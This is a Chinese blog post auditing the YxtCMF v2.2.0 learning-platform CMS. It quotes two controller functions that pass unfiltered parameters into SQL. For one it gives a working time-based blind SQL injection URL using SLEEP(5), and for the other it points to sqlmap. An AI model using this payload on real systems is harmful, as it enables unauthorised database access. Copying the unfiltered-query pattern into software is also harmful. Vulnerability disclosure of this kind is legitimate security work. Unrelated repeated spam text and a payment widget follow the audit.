对YxtCMF一次简单审计

一个小众的cms,下载地址:http://down.admin5.com/php/133101.html

YxtCMF v2.2.0是thinkphp+bootstrap为框架进行开发的网络学习平台系统,有两处注入,不过都是需要会员登陆

由于网站没有对注入进行防护,假如开启gpc 都帮你关掉
/index.php


注入1:需要先登陆
缺陷代码:对传入的$state没有进行过滤
public function order(){
                $state=I("get.state");
                $user_id=sp_get_current_userid();
                $where=empty($state)?array("user_id = $user_id"):array("user_id = $user_id and state=$state");//对传入的$state没有进行过滤
                $count=$this->order_obj->where($where)->count();
                $page = $this->page($count, 10);
                $data=$this->order_obj->limit($page->firstRow . ',' . $page->listRows)->where($where)->select();
                $num=$this->order_obj->where(array('state'=>2,'user_id'=>$user_id))->count();
        $this->assign('num',$num);
        $this->assign('order',$data);
        $this->assign('state',$state);
                $this->assign("Page", $page->show('Admin'));
        $this->display(':order');
    }
http://127.0.0.1/yxtcmf/index.php?g=user&m=center&a=order&state=1) AND (SELECT * FROM (SELECT(SLEEP(5)))pror) AND (8565=8565



注入2:需要进行以下操作,登陆以后申请成为教师


没有过滤传过来的type_id
在application\Teacher\Controller\CenterController.class.php
虽然这里注释了add 函数,但是没有对 add_post 进行注释。

function add_post(){
        if (IS_POST) {
                    $data = $this->course_obj->create();
                        $count=$this->course_obj->count();
                        $term_id=$_POST['type_id'];
                        $typedata=$this->coursetype_obj->where("term_id=$term_id")->find();//缺陷代码,没有过滤传过来的type_id。
        $teacherdata=M('application')->where(array('user_id'=>sp_get_current_userid()))->find();
                        $data['cs_teacher']=sp_get_current_userid();
                        $data['top_id']=$typedata['parent'];
                        $data['cs_picture']=$_POST['cs_picture'];
                        $data['labelid']=$_POST['labelid'];
                        $deta['notice']=$_POST['code'];
                        $deta['count']=$_POST['count'];
                                $data['cs_addtime']=date('Y-m-d H:i:s');
                        $data['cs_state']=1;
                        $data['cs_brief']=htmlspecialchars_decode($data['cs_brief']);
                        $data['course_type']=$_POST['type'];
                        $data['stu_numbers']=$_POST['stu_numbers'];
                        if($teacherdata['state']<1){
                                $this->error("您还未通过审核,暂时不能添加课程!");
                        }
                         
                if($deta['notice']=='sucess'){
                                if ($this->course_obj->add($data)) {
                                        $this->success("添加成功!",U("Teacher/Center/index"));
                                }else{
                                        $this->error("添加失败!");
                                }                        
                        }else{
                                if($count>=$deta['count']){
                                        $this->error($deta['notice']);
                                }else{
                                        if ($this->course_obj->add($data)) {
                                            $this->success("添加成功!",U("Teacher/Center/index"));
                                    }else{
                                           $this->error("添加失败!");
                                    }                        
                                }
                        }
                }
         
        }

http://172.16.9.31/yxtcmf/index.php?g=teacher&m=center&a=add_post

post:ty_id=1

由于没有做过滤,可以直接sqlmap跑出来





  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值